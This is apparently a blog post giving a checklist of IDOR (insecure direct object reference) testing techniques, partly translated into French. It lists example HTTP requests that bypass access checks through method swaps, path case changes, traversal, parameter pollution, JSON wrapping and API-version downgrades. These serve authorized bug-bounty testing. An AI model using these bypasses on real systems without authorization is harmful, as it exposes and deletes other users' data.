Liste de contrôle IDOR

Étapes de base :

1. Create two accounts if possible or else enumerate users first. 
2. Check if the endpoint is private or public and does it contains any kind of id param.
3. Try changing the param value to some other user and see if does anything to their account.
4. Done !!

try if you can idor to view image of any profille

[ ] compte d'informations

[ ] AFFICHER & SUPPRIMER & Créer api_key

[ ] permet de lire n'importe quel commentaire

[ ] change le prix

[ ] changer la pièce de dollar en eur

[ ] Essayez de décoder l'ID, si l'ID est encodé à l'aide de md5, base64, etc.

GET /GetUser/dmljdGltQG1haWwuY29t
[...]

GET /users/delete/victim_id  ->403
POST /users/delete/victim_id ->200

Instead of this:
GET /api/albums?album_id=<album id>
Try This:
GET /api/albums?account_id=<account id>
Tip: There is a Burp extension called Paramalyzer which will help with this by remembering all the parameters you have passed to a host.

POST /users/delete/victim_id          ->403
POST /users/delete/my_id/..victim_id  ->200

Content-Type: application/xml ->
Content-Type: application/json

GET /file?id=90djbkdbkdbd29dd
GET /file?id=302

GET /admin/profile ->401
GET /Admin/profile ->200
GET /ADMIN/profile ->200
GET /aDmin/profile ->200
GET /adMin/profile ->200
GET /admIn/profile ->200
GET /admiN/profile ->200

GET /api/users/user_id ->
GET /api/users/*

for hashed ID ,create multiple accounts and understand the ppattern application users to allot an iD

search all the endpoints having ID which the search engine may have already indexed

use tools like arjun , paramminer

GET /api_v1/messages ->200
GET /api_v1/messages?user_id=victim_uuid ->200

GET /api_v1/messages?user_id=attacker_id&user_id=victim_id
GET /api_v1/messages?user_id=victim_id&user_id=attacker_id

GET /user_data/2341        -> 401
GET /user_data/2341.json   -> 200
GET /user_data/2341.xml    -> 200
GET /user_data/2341.config -> 200
GET /user_data/2341.txt    -> 200

{"userid":1234,"userid":2542}

{"userid":123} ->401
{"userid":[123]} ->200

{"userid":123} ->401
{"userid":{"userid":123}} ->200

GET /v3/users_data/1234 ->401
GET /v1/users_data/1234 ->200

GET /graphql
[...]
GET /graphql.php?query=
[...]

logique métier , enregistrer la vulnérabilité , contourner 2fa , authentification

Toutes les listes de contrôle dans ce dépôt

https://github.com/Az0x7/vulnerability-Checklist

me suivre

  • LinkedIn , Twitter

Suggested posts

Parcours d'un scénariste (développeur d'outils)

Parcours d'un scénariste (développeur d'outils)

Commencez à développer votre propre outil. Bonjour les gars, Une fois de plus, je vous souhaite la bienvenue sur mon médium.

Un bogue à la fois : mon premier bogue payant (IDOR de 1 000 $)

Un bogue à la fois&nbsp;: mon premier bogue payant (IDOR de 1&nbsp;000&nbsp;$)

Bonjour à tous! Heureux de vous revoir : ) Aujourd'hui, je vais écrire sur mon premier bug payant, il a une histoire amusante alors lisez le long ! Voici l'art de l'histoire d'aujourd'hui par rez0 : ) Alors commençons par comment j'ai trouvé cet IDOR 4. Exploit : Une fois soumis, j'ai été redirigé vers un nouveau sous-domaine qui avait l'air extrêmement ancien, cela a suscité mon intérêt pour plusieurs raisons : Le nouveau sous-domaine était quelque chose comme: http://lien.

Related posts

les pronoms font super peur

Ça me frappe tout à coup, comme c'est si souvent le cas C'est à nouveau le milieu du chemin <Non, pas celui du Pacifique, toi marron, celui du carnaval> Chaque gros titre fort… ..

3 façons éprouvées d'améliorer vos compétences en écriture

Les avantages de l'écriture et les stratégies pour vous aider à le faire

3 façons éprouvées d'améliorer vos compétences en écriture

En 2022, avec la sortie de GPT-3, la compétence en écriture semble devenir moins importante. Avec l'IA, les personnes ayant une mauvaise écriture peuvent également générer du personnel de qualité.

VIE SANS LIMITE

Quand tu grandis, on a tendance à te dire que le monde est comme il est et que ta vie est juste de vivre ta vie à l'intérieur du monde, sans jamais risquer ta vie, juste suivre un chemin tracé et mourir à la fin, et essayer de ne pas cogner trop les murs. Mais c'est une vie très limitée.

Pourquoi certains freelances simulent leur vie

Pourquoi certains freelances simulent leur vie

J'étais récemment sur Linkedin, le plus grand réseau social professionnel au monde, et j'ai trouvé des messages de designers indépendants que je suis et qui ont attiré mon attention. Ils ont tous posté des photos d'avions, sur la plage avec leurs ordinateurs portables, de piscines et de bureaux avec une vue imprenable.